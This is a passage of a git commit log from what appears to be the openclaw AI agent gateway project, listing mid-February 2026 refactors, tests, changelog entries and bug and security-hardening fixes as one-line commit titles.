Peter Steinberger
485b78bb94 refactor(web-fetch): dedupe firecrawl payload builder 2026-02-15 05:53:55 +00:00
Peter Steinberger
2f4b91d738 refactor(agents): dedupe subagent announce cleanup 2026-02-15 05:51:34 +00:00
Peter Steinberger
a457782386 fix(gateway): avoid unsafe param stringification 2026-02-15 05:49:37 +00:00
Peter Steinberger
2fe16af3cd refactor(gateway): dedupe agent file request resolution 2026-02-15 05:47:55 +00:00
Peter Steinberger
45f7ef1bfc refactor(line): dedupe route resolution 2026-02-15 05:46:20 +00:00
Peter Steinberger
ef1f98ed6e refactor(agents): dedupe portal CLI credential parsing 2026-02-15 05:44:52 +00:00
Peter Steinberger
91c041e5da refactor(pairing): share allowFrom normalization 2026-02-15 05:43:35 +00:00
Peter Steinberger
21df9ebd92 refactor(outbound): share deliver payload params 2026-02-15 05:42:24 +00:00
Peter Steinberger
e163883fb3 refactor(signal): share reaction send helper 2026-02-15 05:41:10 +00:00
Peter Steinberger
a14d275b2a refactor(agents): dedupe exec spawn fallback wiring 2026-02-15 05:39:55 +00:00
Peter Steinberger
50b7607f77 refactor(gateway): dedupe ws log meta formatting 2026-02-15 05:38:42 +00:00
Peter Steinberger
10e6d926bc refactor(web): dedupe group gating history capture 2026-02-15 05:36:39 +00:00
Peter Steinberger
c1ad0e8754 refactor(cli): dedupe browser tab listing output 2026-02-15 05:35:49 +00:00
Peter Steinberger
12c37a9a3a test(web): cover deliver reply media kinds 2026-02-15 05:35:12 +00:00
Peter Steinberger
4295ff785f refactor(web): dedupe heartbeat ok sender 2026-02-15 05:33:59 +00:00
Peter Steinberger
ca97c47a02 test(web): expand send API coverage 2026-02-15 05:33:04 +00:00
Peter Steinberger
29bec2bfef refactor(cli): dedupe plugin install config wiring 2026-02-15 05:32:57 +00:00
Peter Steinberger
1b8dd2e504 perf(web): consolidate heartbeat runner tests 2026-02-15 05:31:58 +00:00
Peter Steinberger
47beacec3c refactor(status): dedupe update status formatting 2026-02-15 05:30:27 +00:00
Peter Steinberger
b93aa7fb66 refactor(plugins): dedupe plugin SDK alias lookup 2026-02-15 05:29:49 +00:00
Peter Steinberger
c2deba3b56 test(web): extend crypto error util coverage 2026-02-15 05:29:12 +00:00
Peter Steinberger
f41f6d3243 refactor(channels): share allowlist user resolve helpers 2026-02-15 05:28:46 +00:00
Peter Steinberger
164c1a3b5c test(web): cover heartbeat runner branches 2026-02-15 05:28:06 +00:00
Peter Steinberger
48fd9d7dc7 refactor(auto-reply): share directive handling params 2026-02-15 05:25:55 +00:00
Peter Steinberger
64aff2d0ca perf(browser): isolate profile hot-reload config refresh 2026-02-15 05:21:23 +00:00
Peter Steinberger
2b52ded882 refactor(commands): share provider config merge helper 2026-02-15 05:21:17 +00:00
Vignesh Natarajan
0954618cfb chore (changelog): credit non-admin status redaction hardening 2026-02-14 21:15:03 -08:00
Vignesh Natarajan
fac040cb10 fix (gateway): redact sensitive status details for non-admin scopes 2026-02-14 21:15:03 -08:00
Peter Steinberger
0dec234505 perf(logging): split diagnostic session state module 2026-02-15 05:14:46 +00:00
Peter Steinberger
bbe3b2b55d refactor(models): share param-B inference 2026-02-15 05:12:49 +00:00
Peter Steinberger
21dfac972c refactor(agents): share tool call id extraction 2026-02-15 05:11:27 +00:00
Vignesh Natarajan
186925fdd9 chore (changelog): credit chat.send input hardening fix 2026-02-14 21:09:16 -08:00
Vignesh Natarajan
a2fe3b6610 fix (gateway): harden chat.send message input sanitization 2026-02-14 21:09:16 -08:00
Peter Steinberger
457e5308a9 refactor(cli): share browser resize request 2026-02-15 05:08:08 +00:00
Peter Steinberger
3faf5ada2e ci(test): raise node heap for CI vitest 2026-02-15 05:07:02 +00:00
Peter Steinberger
935ca39945 refactor(auto-reply): share directive arg parsing 2026-02-15 05:05:47 +00:00
Vignesh Natarajan
5c746d7751 chore (changelog): credit #7010 NO_REPLY fallback fix 2026-02-14 21:05:27 -08:00
Vignesh Natarajan
356ce7647f fix (agents): suppress NO_REPLY final text when message tool already sent text 2026-02-14 21:05:27 -08:00
Peter Steinberger
758fbc2fcc test(web): consolidate deliver reply retry coverage 2026-02-15 05:04:22 +00:00
Peter Steinberger
8a50936d32 refactor(cli): share daemon action reporting 2026-02-15 05:03:55 +00:00
Peter Steinberger
21082f7e3a test(web): cover web reply delivery 2026-02-15 05:01:46 +00:00
Vignesh Natarajan
e96229e2e5 chore (changelog): note tui external empty-final placeholder fix 2026-02-14 21:01:18 -08:00
Vignesh Natarajan
9f2cb3b582 fix (tui): suppress false no-output placeholders for external empty finals 2026-02-14 21:01:18 -08:00
Peter Steinberger
b289441e6f refactor(media): share response size limiter 2026-02-15 05:01:11 +00:00
Vignesh Natarajan
7d89bebc4f chore (changelog): note windows git-bash multiline paste fallback 2026-02-14 20:59:05 -08:00
Vignesh Natarajan
cd53387c9e fix (tui): coalesce rapid git-bash submit bursts into multiline paste 2026-02-14 20:59:05 -08:00
Peter Steinberger
d815c7caf8 fix(build): remove duplicate daemon-cli entry 2026-02-15 04:56:54 +00:00
Vignesh Natarajan
2faceadd0d test (tui): cover newline preservation in submit and render paths 2026-02-14 20:56:38 -08:00
Peter Steinberger
fa1aca83ef fix(build): add daemon-cli bundle for legacy shim 2026-02-15 04:55:30 +00:00
Vignesh Natarajan
135899db6b chore (changelog): note daemon-cli compat shim hardening 2026-02-14 20:53:32 -08:00
Vignesh Natarajan
277b2de491 fix (cli): harden daemon compat shim for minimal bundle exports 2026-02-14 20:53:32 -08:00
Vignesh Natarajan
beee14db14 test (agents): cover anthropic orphaned toolResult drop on provider switch 2026-02-14 20:53:32 -08:00
Peter Steinberger
960850445b fix(build): restore daemon-cli legacy shim 2026-02-15 04:52:55 +00:00
Peter Steinberger
887ca6086e refactor(status): share git install label formatting 2026-02-15 04:49:56 +00:00
Peter Steinberger
3b08f3058b perf(test): isolate imessage monitor tests from vmForks 2026-02-15 04:49:53 +00:00
Peter Steinberger
cc15b8c6ad refactor(infra): reuse lan ip picker 2026-02-15 04:47:16 +00:00
Peter Steinberger
28014de974 refactor(browser): share common server middleware 2026-02-15 04:46:10 +00:00
Vignesh Natarajan
909b5411bb fix (agents): force store=true for direct openai responses 2026-02-14 20:45:47 -08:00
Vignesh Natarajan
9020277f09 chore (changelog): note openai responses store hardening 2026-02-14 20:45:47 -08:00
Peter Steinberger
6c38ffc277 test(web): cover auto-reply util 2026-02-15 04:44:59 +00:00
Peter Steinberger
fa8aa84386 perf(test): streamline imessage monitor tests 2026-02-15 04:44:59 +00:00
Peter Steinberger
7a63b046da refactor(cli): share gateway service subcommands 2026-02-15 04:44:23 +00:00
Peter Steinberger
ae599243fd refactor(cli): dedupe configure section parsing 2026-02-15 04:42:00 +00:00
Peter Steinberger
b5c81f732c refactor(gateway): share bearer auth helper 2026-02-15 04:40:04 +00:00
Peter Steinberger
31a16157f3 fix(android): make lint pass 2026-02-15 05:38:35 +01:00
Peter Steinberger
8725c2b19f style(swift): run swiftformat + swiftlint autocorrect 2026-02-15 05:38:35 +01:00
Peter Steinberger
511ba938fb refactor(heartbeat): share reply payload picker 2026-02-15 04:37:52 +00:00
Peter Steinberger
ffa27ddcbc refactor(update): dedupe package manager detection 2026-02-15 04:34:39 +00:00
Vignesh Natarajan
7ed608c4d6 chore (changelog): credit #16659 timeout fix 2026-02-14 20:33:12 -08:00
Vignesh Natarajan
17588f51f0 fix (agents): return timeout reply on empty timed-out runs 2026-02-14 20:33:12 -08:00
Peter Steinberger
b373461032 refactor(security): share scan path helpers 2026-02-15 04:29:18 +00:00
Peter Steinberger
0241194591 perf(test): consolidate imessage monitor tests 2026-02-15 04:29:12 +00:00
Peter Steinberger
e93764350d refactor(install): share safe install path helpers 2026-02-15 04:27:41 +00:00
Vignesh Natarajan
568e7c4f67 chore (changelog): note followup queue retry hardening 2026-02-14 20:23:31 -08:00
Vignesh Natarajan
d6f1e7ae95 fix (auto-reply/queue): preserve queued items on drain retries 2026-02-14 20:23:31 -08:00
Peter Steinberger
f3a474af30 refactor(device-auth): share store types + normalization 2026-02-15 04:22:44 +00:00
Vignesh Natarajan
9606884ca1 chore (changelog): note sandbox prompt workspace-path hardening 2026-02-14 20:20:42 -08:00
Vignesh Natarajan
2bf330777f fix (sandbox/prompts): align workspace guidance with container workdir 2026-02-14 20:20:42 -08:00
Peter Steinberger
f29567b436 perf(test): run coverage gate on unit suite 2026-02-15 04:20:15 +00:00
Peter Steinberger
cb29346a1b refactor(media): share base64 mime sniff helper 2026-02-15 04:17:44 +00:00
Vignesh Natarajan
482055832d test (agents): cover nested provider-prefixed model ids 2026-02-14 20:17:05 -08:00
Vignesh Natarajan
12db4ccb31 chore (changelog): note qmd index artifact hardening 2026-02-14 20:17:05 -08:00
Vignesh Natarajan
17b6809517 fix (memory/qmd): verify qmd index artifact after manual reindex 2026-02-14 20:17:05 -08:00
Peter Steinberger
93dd9f697e test(auto-reply): cover command args formatters 2026-02-15 04:17:02 +00:00
Peter Steinberger
d5180b9e88 refactor(discord): dedupe guild listing 2026-02-15 04:13:14 +00:00
Vignesh Natarajan
b9f4c124fc test (agents): cover billing mentions in user-facing text sanitizer 2026-02-14 20:10:50 -08:00
Vignesh Natarajan
7a23ac290e chore (changelog): note transcript tool-call sanitization hardening 2026-02-14 20:09:48 -08:00
Vignesh Natarajan
aa56045b49 fix (agents): harden transcript tool-call block sanitization 2026-02-14 20:09:48 -08:00
Peter Steinberger
cbf712b7be fix(ci): appease oxlint in vitest configs 2026-02-15 04:08:03 +00:00
Peter Steinberger
b6f2c3b746 test: fix coverage scope 2026-02-15 04:06:11 +00:00
Peter Steinberger
3effffb491 refactor(commands): dedupe gateway self presence picker 2026-02-15 04:04:33 +00:00
Peter Steinberger
ab45b409b8 refactor(cli): dedupe parsePort 2026-02-15 04:02:10 +00:00
Vignesh Natarajan
6d66fefbbb chore (changelog): document TUI ANSI-safe searchable-select fix 2026-02-14 20:01:43 -08:00
Vignesh Natarajan
efdfdd036c test (tui): cover ANSI-safe searchable select matching 2026-02-14 20:01:43 -08:00
Vignesh Natarajan
9255f36654 fix (tui): harden searchable select ANSI-safe highlighting 2026-02-14 20:01:43 -08:00
Sebastian
769661a4a2 test(reply): add block delivery normalization regressions 2026-02-14 23:00:17 -05:00
Sebastian
eefb2f8fb3 refactor(reply): extract block delivery normalization 2026-02-14 23:00:17 -05:00
Peter Steinberger
1eb023b26c fix(ui): avoid Node utils import in control UI 2026-02-15 03:54:46 +00:00
Peter Steinberger
9db2ebed00 test(cron): relax event assertions for context keys 2026-02-15 03:53:53 +00:00
Peter Steinberger
f1a76e1a36 refactor: dedupe PATH prepend helpers 2026-02-15 03:53:53 +00:00
Peter Steinberger
f33031bc9e refactor: dedupe daemon exec wrappers 2026-02-15 03:53:53 +00:00
Vignesh Natarajan
4ce9b35f75 chore (changelog): document structured write/edit param normalization 2026-02-14 19:51:33 -08:00
Vignesh Natarajan
bce02d7a9e test (tools): cover structured block params for write/edit 2026-02-14 19:51:33 -08:00
Vignesh Natarajan
c8733822c5 fix (tools): normalize structured write/edit text params 2026-02-14 19:51:33 -08:00
Peter Steinberger
379b445582 chore: bump version to 2026.2.15 2026-02-15 04:50:31 +01:00
Peter Steinberger
a47b08d551 fix(ci): make Windows unit tests deterministic 2026-02-15 03:46:49 +00:00
Vignesh Natarajan
cb54a532f0 chore (changelog): document cron heartbeat prompt hardening 2026-02-14 19:46:31 -08:00
Vignesh Natarajan
58b1d7643e test (heartbeat/cron): cover interval wake handling for tagged cron events 2026-02-14 19:46:31 -08:00
Vignesh Natarajan
4c4d2558e3 fix (heartbeat/cron): preserve cron prompts for tagged interval events 2026-02-14 19:46:31 -08:00
Jake
1712a71a39 fix: strip leading whitespace in block streaming reply path (#16422)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ec4225c28e
Co-authored-by: mcinteerj <3613653+mcinteerj@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-14 22:46:26 -05:00
Peter Steinberger
d31e0dee55 refactor: dedupe chat envelope + daemon output + skills UI 2026-02-15 03:41:11 +00:00
Vignesh Natarajan
7a8bbefbb3 chore (changelog): document webchat inbound metadata cleanup 2026-02-14 19:40:38 -08:00
Vignesh Natarajan
a378fac081 fix (webchat): omit direct conversation labels from inbound metadata context 2026-02-14 19:40:38 -08:00
Peter Steinberger
d355fecd4d fix(ci): avoid Windows spawn EINVAL in test runner 2026-02-15 03:35:06 +00:00
Sebastian
bcadef2e20 test(agents): add payload builder fixture helper 2026-02-14 22:34:48 -05:00
Sebastian
d08ff2c2c9 refactor(agents): extract tool-error warning helpers 2026-02-14 22:34:48 -05:00
Peter Steinberger
fef86e475b refactor: dedupe shared helpers across ui/gateway/extensions 2026-02-15 03:34:14 +00:00
Vignesh Natarajan
fe90e14239 chore (changelog): document config.patch agents.list merge hardening 2026-02-14 19:33:48 -08:00
Vignesh Natarajan
b6d6cfd8d9 test (gateway/config): cover config.patch agents.list merge-by-id 2026-02-14 19:33:48 -08:00
Vignesh Natarajan
8ec0ef5866 fix (gateway/config): merge config.patch object arrays by id 2026-02-14 19:33:48 -08:00
Vignesh Natarajan
a3e2d0563e fix(gateway): await reset handler result in agent route 2026-02-14 19:33:48 -08:00
Vai
2c8b921054 feat: add messages.suppressToolErrors config option (#16620)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9ae4394b81
Co-authored-by: vai-oro <258511217+vai-oro@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-14 22:28:58 -05:00
Peter Steinberger
8189949549 perf(logging): skip eager debug formatting in diagnostic 2026-02-15 03:25:16 +00:00
Peter Steinberger
f832f3dcc3 chore(mac): update appcast for 2026.2.14 2026-02-15 04:24:59 +01:00
Vignesh Natarajan
8f6d87f1b6 docs (changelog): note media-understanding binary mime hardening 2026-02-14 19:22:43 -08:00
Vignesh Natarajan
24e9dccea6 test (media-understanding): cover binary vendor mime and vendor +json behavior 2026-02-14 19:22:43 -08:00
Vignesh Natarajan
86a156db26 fix (media-understanding): treat binary application mimes as non-text 2026-02-14 19:22:43 -08:00
Peter Steinberger
3182a117c1 fix(gateway): handle sync sessions.reset handlers 2026-02-15 03:22:13 +00:00
Peter Steinberger
870b1d50df perf(test): consolidate sessions_spawn e2e tests 2026-02-15 03:21:04 +00:00
Vignesh Natarajan
14b1bcd2e1 docs (changelog): note gateway agent reset command routing 2026-02-14 19:18:28 -08:00
Vignesh Natarajan
c48b4471aa test (gateway/agent): cover bare reset command routing 2026-02-14 19:18:28 -08:00
Vignesh Natarajan
616658d4b0 fix (gateway/agent): route bare /new and /reset through sessions.reset 2026-02-14 19:18:28 -08:00
Peter Steinberger
cdeedd8093 test(chutes): require redirect URL in manual oauth 2026-02-15 04:16:27 +01:00
Peter Steinberger
a324031801 fix(ui): do not hydrate password from URL 2026-02-15 04:16:27 +01:00
Vignesh Natarajan
b5ab92eef4 chore (changelog): note read tool file_path alias warning fix 2026-02-14 19:10:05 -08:00
Vignesh Natarajan
53e4d37cf1 test (agents): cover read file_path alias in tool-start diagnostics 2026-02-14 19:10:00 -08:00
Vignesh Natarajan
032842a74c fix (agents): accept read file_path alias in tool-start path checks 2026-02-14 19:09:55 -08:00
Vignesh Natarajan
7dea9a131b chore (changelog): note tui light-theme contrast fix 2026-02-14 19:08:24 -08:00
Vignesh Natarajan
c14eb2b60e test (tui): cover assistant default-foreground theme behavior 2026-02-14 19:08:19 -08:00
Vignesh Natarajan
2c962ef8fc fix (tui): keep assistant text contrast theme-adaptive 2026-02-14 19:08:15 -08:00
Vignesh Natarajan
70cf0e4d42 chore (changelog): note cron interrupted-start replay fix 2026-02-14 19:06:37 -08:00
Vignesh Natarajan
bb67585674 test (cron): cover interrupted startup job replay guard 2026-02-14 19:06:37 -08:00
Vignesh Natarajan
7b89e68d18 fix (cron): skip startup replay for interrupted running jobs 2026-02-14 19:06:37 -08:00
Peter Steinberger
58548c729f docs(changelog): mark 2026.2.14 released 2026-02-15 04:06:07 +01:00
Vignesh Natarajan
c3e87da2df chore (changelog): note discord empty channels allowlist fix 2026-02-14 19:04:18 -08:00
Vignesh Natarajan
66414b28ba test (discord): cover empty guild channels config fallback 2026-02-14 19:04:13 -08:00
Vignesh Natarajan
7b4984e73d fix (discord): ignore empty guild channel maps in allowlist resolution 2026-02-14 19:04:10 -08:00
Vignesh Natarajan
202b06b279 chore (changelog): note qmd multi-collection query fix 2026-02-14 19:02:48 -08:00
Vignesh Natarajan
46a3c16066 test (memory/qmd): cover per-collection query fallback behavior 2026-02-14 19:02:44 -08:00
Vignesh Natarajan
04a88a6ee6 fix (memory/qmd): avoid multi-collection query ranking corruption 2026-02-14 19:02:41 -08:00
Vignesh Natarajan
cab25b5837 chore (changelog): note signal group-id normalization fix 2026-02-14 18:59:48 -08:00
Vignesh Natarajan
4587175fb1 test (signal): cover mixed-case group target ids 2026-02-14 18:59:48 -08:00
Vignesh Natarajan
8647a1ebed fix (signal): preserve case for group target normalization 2026-02-14 18:59:48 -08:00
Peter Steinberger
2690dfa77b test: quiet docker onboard e2e noise 2026-02-15 03:58:23 +01:00
Vignesh Natarajan
36b80c4f31 chore (changelog): note telegram webhook timeout retry-storm fix 2026-02-14 18:57:39 -08:00
Vignesh Natarajan
69a1ab2319 test (telegram): assert webhook callback timeout-safe options 2026-02-14 18:57:18 -08:00
Vignesh Natarajan
f032ade9c8 fix (telegram): return webhook timeout responses to prevent retry storms 2026-02-14 18:57:18 -08:00
Peter Steinberger
c1feda14fd docs(changelog): reorder 2026.2.14 notes 2026-02-15 03:55:28 +01:00
Vignesh Natarajan
f202629996 chore (changelog): document empty-chunk timeout handling 2026-02-14 18:54:03 -08:00
Vignesh Natarajan
eb846c95bf fix (agents): classify empty-chunk stream failures as timeout 2026-02-14 18:54:03 -08:00
Vignesh Natarajan
79aaab403c test (agents): cover empty-chunk timeout failover behavior 2026-02-14 18:54:03 -08:00
Peter Steinberger
6c0dca30b8 fix: accept auth code in chutes oauth manual flow 2026-02-15 02:53:39 +00:00
Peter Steinberger
981d572132 fix: support file: npm specs in plugin install 2026-02-15 02:53:39 +00:00
Peter Steinberger
107cc03140 ci: reduce docker e2e log brittleness 2026-02-15 02:53:39 +00:00
Peter Steinberger
e720e022e3 test: stabilize sessions_spawn e2e mocks 2026-02-15 02:53:39 +00:00
Peter Steinberger
ddfdd20d79 docs: update Slack/Discord allowFrom references 2026-02-15 03:49:33 +01:00
Vignesh Natarajan
d7c0bbd7cd chore (changelog): note stable memory status dirty reporting 2026-02-14 18:48:58 -08:00
Vignesh Natarajan
44bbb4ddf4 chore (memory): add status dirty rebound regression test 2026-02-14 18:48:58 -08:00
Vignesh Natarajan
7addb519da fix (memory/builtin): keep status dirty state stable across invocations 2026-02-14 18:48:58 -08:00
Peter Steinberger
cf04208cb9 fix(allowlist): canonicalize Slack/Discord allowFrom 2026-02-15 03:46:16 +01:00
Vignesh Natarajan
3c3695d7c2 chore (changelog): note narrow-terminal TUI sanitizer hardening 2026-02-14 18:45:07 -08:00
Vignesh Natarajan
7572070f4e chore (tui): add sanitizer regressions for narrow width safety 2026-02-14 18:45:07 -08:00
Vignesh Natarajan
de02b07209 fix (tui): harden render sanitization for narrow terminals 2026-02-14 18:45:07 -08:00
Peter Steinberger
f9bb748a6c fix(memory): prevent QMD scope deny bypass 2026-02-15 02:41:45 +00:00
Vignesh Natarajan
014b42dd45 chore (changelog): note TUI tool-boundary stream fix 2026-02-14 18:41:14 -08:00
Vignesh Natarajan
f7121677f3 chore (tui): add stream assembler regression for tool boundary drops 2026-02-14 18:41:14 -08:00
Vignesh Natarajan
7d7ab8a09a fix (tui): preserve streamed text across tool boundary deltas 2026-02-14 18:41:14 -08:00
Peter Steinberger
725741486f fix(discord): harden voice message media loading 2026-02-15 03:41:08 +01:00
Vignesh Natarajan
a6f3048e44 chore (tests): format apply-patch e2e test 2026-02-14 18:38:15 -08:00
Peter Steinberger
424c718bc5 fix(security): apply tools.fs.workspaceOnly to sandbox file tools 2026-02-15 03:36:31 +01:00
Vignesh Natarajan
44570d9deb chore (changelog): note TUI binary history render hardening 2026-02-14 18:29:54 -08:00
Vignesh Natarajan
d6a635ed48 chore (tui): replace control-char regex with codepoint sanitizer 2026-02-14 18:29:54 -08:00
Vignesh Natarajan
750a7146e4 fix (tui): sanitize binary-heavy history text before render 2026-02-14 18:29:54 -08:00
Peter Steinberger
914b9d1e79 fix(agents): block workspaceOnly apply_patch delete symlink escape 2026-02-15 03:28:25 +01:00
Peter Steinberger
683aa09b55 refactor(media): harden localRoots bypass (#16739)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 89dce69f50
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-15 03:27:01 +01:00
Vignesh Natarajan
b607c41a52 chore (changelog): note TUI concurrent stream hardening 2026-02-14 18:25:14 -08:00
Vignesh Natarajan
61228639c2 fix (tui): preserve active stream during concurrent run finals 2026-02-14 18:25:13 -08:00
Peter Steinberger
a7eb0dd9a5 fix(security): harden Windows child process spawning 2026-02-15 03:24:55 +01:00
Peter Steinberger
7b697d6128 fix(config): stop defaulting slack/discord dm.policy 2026-02-15 02:21:38 +00:00
Vignesh Natarajan
b2f66b1797 chore (changelog): note memory-lancedb auto-capture opt-in 2026-02-14 18:20:58 -08:00
Vignesh Natarajan
ed7d83bcfc fix (memory/lancedb): require explicit opt-in for auto-capture 2026-02-14 18:20:48 -08:00
Vignesh Natarajan
3ca74f8e6d chore (changelog): note memory-lancedb injection hardening 2026-02-14 18:19:56 -08:00
Vignesh Natarajan
61725fb37e fix (memory/lancedb): harden memory recall and auto-capture 2026-02-14 18:19:56 -08:00
Peter Steinberger
444a910d9e fix(infra): avoid req.destroy(err) in request body limiters 2026-02-15 03:19:27 +01:00
Peter Steinberger
4a44da7d91 fix(security): default apply_patch workspace containment 2026-02-15 03:19:27 +01:00
Christian Klotz
68c78c4b43 fix: deliver tool result media when verbose is off (#16679)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6e16feb164
Co-authored-by: christianklotz <69443+christianklotz@users.noreply.github.com>
Co-authored-by: christianklotz <69443+christianklotz@users.noreply.github.com>
Reviewed-by: @christianklotz
2026-02-15 02:18:57 +00:00
Vignesh Natarajan
906c32da12 chore (exec): add PTY background abort regression test 2026-02-14 18:18:03 -08:00
Vignesh Natarajan
19238f098b Changelog: note subagent announce queue retry hardening 2026-02-14 18:14:18 -08:00
Vignesh Natarajan
bbbec7a5c1 Subagents: add announce queue failure retry regressions 2026-02-14 18:14:15 -08:00
Vignesh Natarajan
2a83609287 Subagents: retain announce queue items on send failure 2026-02-14 18:14:11 -08:00
Vignesh Natarajan
28ff755623 Changelog: note QMD null-byte collection self-heal 2026-02-14 18:09:12 -08:00
Vignesh Natarajan
df820f0315 Memory/QMD: add null-byte collection repair regressions 2026-02-14 18:09:12 -08:00
Vignesh Natarajan
2dfbb407ba Memory/QMD: self-heal null-byte collection metadata on update 2026-02-14 18:09:12 -08:00
Peter Steinberger
b79e7fdb7a fix(image): propagate workspace root for image allowlist (#16722)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 24a13675cb
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Co-authored-by: steipete <58493+steipete@users.noreply.github.com>
Reviewed-by: @steipete
2026-02-15 03:08:28 +01:00
Vignesh Natarajan
69dd1a31bf Changelog: note remote skills cache disconnect cleanup 2026-02-14 18:02:17 -08:00
Vignesh Natarajan
dabfcbe941 Skills: clean up remote node cache on disconnect 2026-02-14 18:02:14 -08:00
Vignesh Natarajan
6f6954fb34 Changelog: note directory cache bounds hardening 2026-02-14 17:58:11 -08:00
Vignesh Natarajan
48fef27862 Outbound: bound directory cache memory growth 2026-02-14 17:58:07 -08:00
Vignesh Natarajan
c6bac6703e Changelog: note Slack thread starter cache bounds 2026-02-14 17:55:25 -08:00
Vignesh Natarajan
6d0cd54ac1 Slack: bound thread starter cache growth 2026-02-14 17:55:25 -08:00
Peter Steinberger
1ff15e60d3 chore(release): bump versions to 2026.2.14 2026-02-15 02:53:35 +01:00
Vignesh Natarajan
bb53d984d3 Changelog: note abort memory map hardening 2026-02-14 17:52:24 -08:00
Vignesh Natarajan
414b7db8af Auto-reply: bound abort memory map growth 2026-02-14 17:52:19 -08:00
Vignesh Natarajan
377bb9073e Changelog: note agentRunSeq map hardening 2026-02-14 17:50:52 -08:00
Vignesh Natarajan
fc8f59261a Gateway: bound agent run sequence tracking 2026-02-14 17:50:49 -08:00
Peter Steinberger
451deb066f refactor(plugin-sdk): reuse dedupe cache 2026-02-15 01:46:52 +00:00
Peter Steinberger
65aac6494a refactor(feishu): share download buffer reader 2026-02-15 01:46:52 +00:00
Peter Steinberger
84ffb05886 refactor(cli): dedupe browser start/stop 2026-02-15 01:46:52 +00:00
Peter Steinberger
0024ea49d3 refactor(cli): share exec approvals save flow 2026-02-15 01:46:52 +00:00
Peter Steinberger
bcecf05292 refactor(gateway): share node session touch 2026-02-15 01:46:51 +00:00
Peter Steinberger
d0ff8c341e refactor(usage): share claude window builder 2026-02-15 01:46:51 +00:00
Peter Steinberger
075b335ba6 refactor(memory): dedupe batch embedding glue 2026-02-15 01:46:51 +00:00
Peter Steinberger
6ec1f10df0 refactor(outbound): share tool payload extraction 2026-02-15 01:46:51 +00:00
Peter Steinberger
01247723c7 refactor(line): share inbound context builder 2026-02-15 01:46:51 +00:00
Vignesh Natarajan
9f368ac9e6 fix: media allowlist finalize (#16697) (thanks @tyler6204) 2026-02-14 17:46:36 -08:00
Tyler Yust
edb06170f5 fix(image): allow workspace and sandbox media paths (#15541) 2026-02-14 17:46:36 -08:00
Peter Steinberger
ceae46ce33 fix(test): make sandbox fs-path expectations cross-platform 2026-02-15 01:45:57 +00:00
Peter Steinberger
513576b487 fix(test): disable safeBins expectations on Windows 2026-02-15 01:37:38 +00:00
Vignesh Natarajan
56708b636e Changelog: note diagnostic session-state bounds 2026-02-14 17:30:10 -08:00
Vignesh Natarajan
cee9f64f1b Diagnostics: bound in-memory session state tracking 2026-02-14 17:29:58 -08:00
Vignesh Natarajan
0f53a3b9f3 Protocol: regenerate Swift gateway models 2026-02-14 17:27:17 -08:00
Peter Steinberger
e3d5fff264 perf(test): avoid importing update-check in startup suite 2026-02-15 01:26:25 +00:00
Peter Steinberger
b78bfd5213 fix(test): mock whatsapp outbound target resolver 2026-02-15 01:26:25 +00:00
Peter Steinberger
2ba918ac71 perf(test): remove gateway lock sleep waits 2026-02-15 01:26:25 +00:00
Vignesh Natarajan
d70cc39544 Changelog: note memory watcher FD-pressure hardening 2026-02-14 17:25:10 -08:00
Vignesh Natarajan
decf2b518a Memory: reduce watcher FD pressure for markdown sync 2026-02-14 17:25:07 -08:00
Vignesh Natarajan
41d7d0e2e6 Changelog: note TUI gateway bind URL fix 2026-02-14 17:16:17 -08:00
Vignesh Natarajan
d171686f77 TUI: honor gateway bind mode for local connection URL 2026-02-14 17:16:17 -08:00
Peter Steinberger
161222f6fe perf(test): speed up qmd manager suite 2026-02-15 01:15:47 +00:00
Peter Steinberger
2ff5c17917 refactor(slack): dedupe member join/leave handlers 2026-02-15 01:15:43 +00:00
Peter Steinberger
10a52ac294 refactor(memory): share sync indexing helper 2026-02-15 01:15:43 +00:00
Peter Steinberger
811e0c5797 refactor(bluebubbles): share send helpers 2026-02-15 01:15:43 +00:00
Peter Steinberger
5e205030ed refactor(telegram): share outbound param parsing 2026-02-15 01:15:43 +00:00
Peter Steinberger
4104229996 refactor(gateway): share config restart sentinel builder 2026-02-15 01:15:43 +00:00
Peter Steinberger
f58d4cad8e refactor(agents): dedupe claude oauth parsing 2026-02-15 01:15:43 +00:00
Peter Steinberger
461ead8ceb refactor(imessage): share target parsing helpers 2026-02-15 01:15:43 +00:00
Peter Steinberger
f835eb32f3 refactor(slack): share message action helpers 2026-02-15 01:15:43 +00:00
Peter Steinberger
eccd4d8c39 refactor(whatsapp): share target resolver 2026-02-15 01:15:43 +00:00
Peter Steinberger
56bc9b5058 refactor(zalo): share outbound chunker 2026-02-15 01:15:43 +00:00
Peter Steinberger
0d0ebd0e20 refactor(onboarding): share promptAccountId helper 2026-02-15 01:15:43 +00:00
Vignesh Natarajan
f50db0e835 Lockfile: sync msteams specifiers 2026-02-14 17:11:44 -08:00
Vignesh Natarajan
aa09be168d Changelog: note media local root allowlist update 2026-02-14 17:10:58 -08:00
Vignesh Natarajan
6863b9dbe1 Media: include state workspace/sandbox in local path allowlist 2026-02-14 17:10:53 -08:00
Vignesh Natarajan
289272f16a Merge branch 'main' of github.com:openclaw/openclaw 2026-02-14 17:05:52 -08:00
Peter Steinberger
4ae7287151 perf(test): avoid env cloning in docker-setup suite 2026-02-15 00:56:20 +00:00
Vignesh Natarajan
21ee5c0aaf Changelog: note sandbox bind-mount file tool fix 2026-02-14 16:54:37 -08:00
Peter Steinberger
7e065d90f0 perf(test): keep single media server and fast cleanup 2026-02-15 00:54:37 +00:00
Vignesh Natarajan
726ff36fd5 Sandbox: honor bind mounts in file tools 2026-02-14 16:54:29 -08:00
Vignesh Natarajan
eafda6f526 Sandbox: add shared bind-aware fs path resolver 2026-02-14 16:53:43 -08:00
Peter Steinberger
e211b75475 perf(test): reuse imports in models cli suite 2026-02-15 00:46:32 +00:00
Peter Steinberger
b229a3de0c perf(test): reduce mkdir churn in path env suite 2026-02-15 00:45:10 +00:00
Peter Steinberger
